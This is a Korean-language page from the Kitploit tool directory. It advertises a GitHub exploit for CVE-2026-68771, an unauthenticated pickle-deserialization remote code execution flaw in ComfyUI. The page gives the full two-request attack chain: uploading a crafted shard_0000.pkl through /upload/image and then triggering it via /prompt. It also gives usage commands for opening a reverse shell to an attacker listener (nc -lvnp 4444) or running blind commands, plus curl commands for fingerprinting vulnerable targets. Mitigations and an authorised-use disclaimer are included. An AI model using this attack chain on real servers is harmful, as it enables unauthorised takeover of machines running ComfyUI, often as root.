Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-68771_exploit — ComfyUI의 pickle 역직렬화 RCE 취약점인 CVE-2026-68771에 대한 비인증 익스플로잇입니다. /upload/image를 통해 조작된 shard를 주입하고 /prompt로 트리거하여 명령을 실행하거나 리버스 셸을 엽니다. | Kitploit
도구/GitHubGitHub/0xdak/cve-2026-68771_exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHub0xdak/cve-2026-68771_exploit

CVE-2026-68771_exploit

ComfyUI의 pickle 역직렬화 RCE 취약점인 CVE-2026-68771에 대한 비인증 익스플로잇입니다. /upload/image를 통해 조작된 shard를 주입하고 /prompt로 트리거하여 명령을 실행하거나 리버스 셸을 엽니다.

저장소 보기
117일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-68771 — ComfyUI 인증되지 않은 Pickle 역직렬화 RCE

ComfyUI에서 LoadTrainingDataset 노드를 통한 인증되지 않은 원격 코드 실행.

LoadTrainingDataset.execute()는 torch.load(f)를 사용하여 서버의 출력 디렉터리에서 데이터셋 샤드를 로드하며 weights_only=True가 없습니다. PyTorch < 2.6(weights_only가 기본적으로 False인 경우)에서는 조작된 shard_*.pkl이 로드 시 pickle __reduce__를 실행합니다(CWE-502). ComfyUI는 인증 없이 제공되며, /upload/image 라우트(type=output 사용)는 확장자 검사 없이 원시 업로드 바이트를 저장하므로 .pkl 파일을 심은 다음 두 개의 인증되지 않은 요청으로 트리거할 수 있습니다.

  • 영향받는 버전: PyTorch < 2.6의 ComfyUI 0.23.0
  • 기본 포트: 8188 (인증 없음)
  • CWE: 502 (신뢰할 수 없는 데이터의 역직렬화)
  • 영향: ComfyUI 프로세스 사용자 권한으로 RCE (일반적으로 root)

요구 사항

Python 3 표준 라이브러리만 필요 — 의존성 없음.

사용법

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444

# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'

명령은 서버에서 실행됩니다. 출력이 반환되지 않으므로 결과를 확인하려면 --shell을 사용하여 리버스 셸을 얻거나(읽기 가능한 경로에 쓰는 방식으로) 관찰하세요.

작동 방식

두 개의 인증되지 않은 요청:

  1. 심기 — POST /upload/image에 type=output, subfolder=training_dataset, 파일명 shard_0000.pkl을 지정합니다. /upload/image 라우트는 원시 바이트를 저장하므로(해당 경로에서는 이미지 처리가 없음) pickle은 output/training_dataset/shard_0000.pkl에 그대로 저장됩니다. pickle의 __reduce__는 (os.system, (cmd,))를 반환합니다.

  2. 트리거 — POST /prompt에 워크플로를 전송합니다: folder_name=training_dataset인 LoadTrainingDataset 노드를 SaveLatent 출력 노드에 연결합니다. 출력 노드는 ComfyUI가 LoadTrainingDataset을 실행하도록 강제하며, 해당 노드는 을 glob한 후 다음을 호출합니다:

대상 식별

root@kitploit:~
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200  -> vulnerable node present

해결 방법

  • 업스트림 수정: 샤드를 torch.load(f, weights_only=True)로 로드합니다.
  • PyTorch를 >= 2.6으로 업그레이드하면 weights_only가 기본적으로 True가 되어 제한된 unpickler가 os.system을 거부합니다.
  • ComfyUI를 신뢰할 수 없는 네트워크에 노출하지 말고, 권한 있는 사용자로 실행하지 마세요.

면책 조항

승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유했거나 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오.

도구 다운로드
shard_*.pkl
root@kitploit:~
with open(shard_path, "rb") as f:
    shard_data = torch.load(f)      # no weights_only=True -> runs the pickle on torch < 2.6

pickle의 __reduce__는 역직렬화 중에 os.system(cmd)를 실행합니다.